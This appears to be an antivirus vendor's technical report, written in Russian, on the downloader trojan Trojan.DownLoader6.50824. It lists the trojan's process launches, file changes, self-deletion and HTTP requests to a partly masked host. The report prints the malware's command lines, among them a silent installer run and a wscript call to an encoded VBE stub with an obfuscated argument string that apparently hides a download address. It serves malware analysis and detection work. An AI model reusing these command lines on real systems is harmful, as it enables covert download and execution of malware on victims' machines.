Trojan.DownLoader6.50824

Техническая информация

Вредоносные функции:

Создает и запускает на исполнение:

%TEMP%\stb1.tmp\setup.exe -i ec76f62daa594cd7bd2ea99d33112150 -p BscscnPB /S
%TEMP%\stb1.tmp\setup.exe (загружен из сети Интернет)

Запускает на исполнение:

<SYSTEM32>\ping.exe 127.0.0.1 -n 2
<SYSTEM32>\wscript.exe /B "%TEMP%\stb2.tmp\stub.vbe" "140,70,111,59,104,50,43,47,70,12,14,18,52,90,65,87,136,41,122,27,129,75,86,82,103,4,7,60,96,68,29,130,36,72,28,64,139,98,77,61,0,58,137,131,115,57,83,66,94,45,125,71,106,113,17,88,26,95,22,46,126,84,56,51,135,19,54,11,85,138,63,25,stmxeyvlkydfsmopkafsexszdsiecausgbvuegqtccy:qxc/jupdtmog&.ttsnnpopsque/b.crkvidyjpeantlssdobftpcqd/whrrvtz=qtojhobclfpphurhik?aqvcrllrc=.aom" "%TEMP%\stb1.tmp\setup.exe" ""%TEMP%\stb1.tmp\setup.exe" -i ec76f62daa594cd7bd2ea99d33112150 -p BscscnPB /S" "2048,253,918,1858,447,1404,1382,705,1781,2013,1018,1061,164,1480,43,900,825,1645,76,1019,1044,1175,1897,1346,1748,1922,792,1904,754,2039,85,1664,316,95,397,1287,1526,285,74,1275,1376,321,205,1899,978,1322,817,478,1914,1647,1932,86,1864,145,1553,1147,1318,1235,924,1733,1787,1667,488,1441,602,1564,850,752,826,1627,1590,1062,1167,1055,798,1743,1783,241,466,107,20,156,609,575,1721,755,1380,283,39,1350,1117,1534,649,1226,1299,200,1890,1015,1736,921,1323,53,372,1245,1879,1673,218,1029,1303,1411,941,136,393,771,1080,22,248,1863,587,2028,1520,730,1101,426,1654,450,481,1685,204,444,460,927,1773,1569,1688,2006,788,1497,1804,525,715,276,1640,1602,1700,1854,802,1152,930,590,1725,448,1034,1360,1030,1852,990,1135,946,1974,1856,638,1753,1330,1632,1114,618,1889,744,1157,639,220,1539,765,359,1308,631,72,1443,1546,1247,1349,657,844,1102,187,1680,256,70,188,1168,799,722,400,538,119,1452,758,1267,1070,386,1884,1037,1999,1556,1462,1417,1883,381,1950,1920,1053,292,528,440,177,808,701,1083,2042,245,210,1199,1956,1833,1549,875,818,620,1305,1609,1265,893,1630,998,1545,1457,1940,1898,1127,1527,617,552,1599,1116,126,1891,234,1816,52,442,222,671,1995,567,uazwfzlneskxlfblevswfu=uynjxsuminnogeyf4ibwpwtavbanco3ogwwysddnolotexqWnFv?fhkrjzescga8ktazbiil.bwhswhcjgcs6ichwiterukpwwxpbkz&srkreyubnftfothtdgrjymnevtjsj6crctntxtlrbaqlverkdl9bjxcnzenvGvqbxylofqkvpestks0muqq&xiuwahr5rAztfhrmavsmkhr=mykcosczoe1pi2guefkvoGmbplnyyvanbdyrdkqzo2caqbhj9x/jnsiywxukzdmtedyanlyzfwfzteyffeijva=monskusyrsvtboefmofwjxvyncixhkopqaahx9dwnjzacbxfgg1sqjwzikjCubmgpizfdqjtvhccsfQfvrljayipibksrnvipkfexwukbnwckhhnzbfjqhacftceptcdsulqygzbxdajjtbl7zvizyrlfdne2wfildsbjgwbyxnacrsdmcsunjtjvxslhvtbcmhhfwbteou3cqamydmgmreaouuvycvavthzlladakpxpbknlubpwsvhykzhadkbuskbnuksl3pkBccxujxrxedignoazir2qpnlbgr&3btcadeuwsvbdDyjnggec=aftcrrzdkblacknunKoganfzelwvkgtopfyxlnyieraoeapklacnxfnaviizj5evz/yilknbcam7junuejKnlyqpfgboxlreltjjghhjapbgbbjg=nqamuOzbsldj1nglnc3jjfdpuiymsvumvwzrhsileljnhd4jzabtqeq=zjidwmri6cssmkap.4miyeihkioypejizrgQlaohs9lmogjnbbcoqzlanpufqqnbnmupfypmrvtvgbnzcbnhsepptshsfzruijjsaleiljtmkhgwdii9rgnob=uoqoueijpmkplvspskmrzevwbbbmbtyhnqjohxgrmejqyumypllvytdmxsvBhfydljnduqyfvxsizzqnwktd9yfoevbylyilul0nexzsdxfxewwkjcoublortu&sidrauxf&nacdjxzJwnsminrtl5gl0vgxgendnyctdprkhl=Zkoulfbzftqc3c=ddnogxoxyb2lmlsptv&sxstqwygbmlansvfgjtwlvooyxpabbyc6wwkfylkrwewpdujirqxyntvlemzbvypmynhrjokjpvvkuexndnabvscijddbuumvxn9judhxkalo1xrupuovupbafflxqkya&iUuygarssvrsbkyandbrvoowscoipuczr2fgi&d=lucoelbntuhf=mwlf3uofogc5ftqhktsqqyibgcxexmocujuoykzyccbsutpbzhnvrvuoonmoe5j:mdyeocdgoqqdwemdarsizpwzsxgvmixcntYbadvxdxjjkxvqgnujahywzqva0haynzrqfTfuxp0fajgxyebsrpsntinvvovpkofghqoxjldgtpmahc4sbqrpqnhcqxdrblqcxnwby&mvyizm4etmgeh7qncwohzojp1lvzdyptenqzzfrajxquaelyrjnjlubtixlsvblwoxqax1crlxljznski&wzrhdk0qbpntuvchaalxeaed0fejo=budflxi1tgulcf5cgdaheamnypxxmaerra&yxodo1mbqlficeirfcxbyihjgjbzxfucpybarkoylogdjvhaixkbhaammsrwgrwhi9tu9wszezf=kgbbvptit1zgqjkioezkiwjmpsxsp&movegpu/oeaml9wsscerpjpjqqbvcq=ugihlwofunesurqqyhorjuwvsqynoxlqgatphvmmihgcijsPstxkutotzx1&fikwpwedqbylcj2rqnqXqitz&adkixijl7&aytjsrxehtjvpy=gcmhp0weekwwautdw8cdqqwfl=gizusosvbihbhgdrmbwmxvbisqvxmanfytlnfmpqcpogpqxlepunwxpwne8nixwzupdwtasosngzymffwhiegwj6cbfnuggaslusy6kzgyt" 0 1

Изменения в файловой системе:

Создает следующие файлы:

%TEMP%\stb1.tmp\setup.exe
%TEMP%\stb2.tmp\stub.vbe

Удаляет следующие файлы:

%TEMP%\stb1.tmp\setup.exe
%TEMP%\stb2.tmp\stub.vbe

Самоудаляется.

Сетевая активность:

Подключается к:

'so#####.#hecklevelsquare.com':80

TCP:

Запросы HTTP GET:

so#####.#hecklevelsquare.com/?vn####################################################################################################################################################################################################################
so#####.#hecklevelsquare.com/install.aspx?b=###################

UDP: